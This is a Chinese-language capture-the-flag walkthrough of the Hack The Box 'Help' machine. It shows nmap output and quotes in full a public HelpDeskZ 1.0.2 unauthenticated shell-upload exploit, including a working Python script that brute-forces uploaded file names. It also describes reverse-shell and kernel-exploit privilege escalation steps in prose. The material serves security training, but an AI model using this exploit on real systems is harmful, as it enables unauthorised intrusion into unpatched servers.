[Hack the box]Help-Linux-10.10.1

Nmap scan report for 10.10.10.121
Host is up (0.27s latency).
Not shown: 875 closed ports, 123 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

• 80端口存在web服务，爆破出路径：
  http://10.10.10.121/support/
  发现运行了一个HelpDeskZ的应用，并在网上找到一个任意文件上传的exp：

# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
# Date: 2016-08-26
# Exploit Author: Lars Morgenroth - @krankoPwnz
# Vendor Homepage: http://www.helpdeskz.com/
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
# Version: <= v1.0.2
# Tested on:
# CVE :
 
HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.
 
The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:
 
/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
 
So by guessing the time the file was uploaded, we can get RCE.
 
Steps to reproduce:
 
http://localhost/helpdeskz/?v=submit_ticket&action=displayForm
 
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
 
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
 
exploit.py http://localhost/helpdeskz/ phpshell.php 
'''           
import hashlib
import time
import sys
import requests
 
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
 
if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)
 
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
 
currentTime = int(time.time())
 
for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()
 
    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)
 
print "Sorry, I did not find anything"

接下来只需在http://10.10.10.121/support/?v=submit_ticket&action=displayForm页面上传phpshell就行，返回结果虽然是`File is not allowed.``但实际上已经成功上传。
上传后的文件名会按照规则重新生成，通过上面的脚本爆破一下就能获得：

我这边上传了一个msf木马，访问即可反弹shell，也可以上传简单的一句话
成功获得user.txt

• 接下来尝试提权：
  系统信息：

Computer    : help
OS          : Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
Meterpreter : php/linux

查找一下提权exp：

图片.png

老方法，复制exp到本地apache根目录下，在shell中通过wget下载到服务器，编译、运行一条龙，成功提权。（这次真的顺利=-=）

图片.png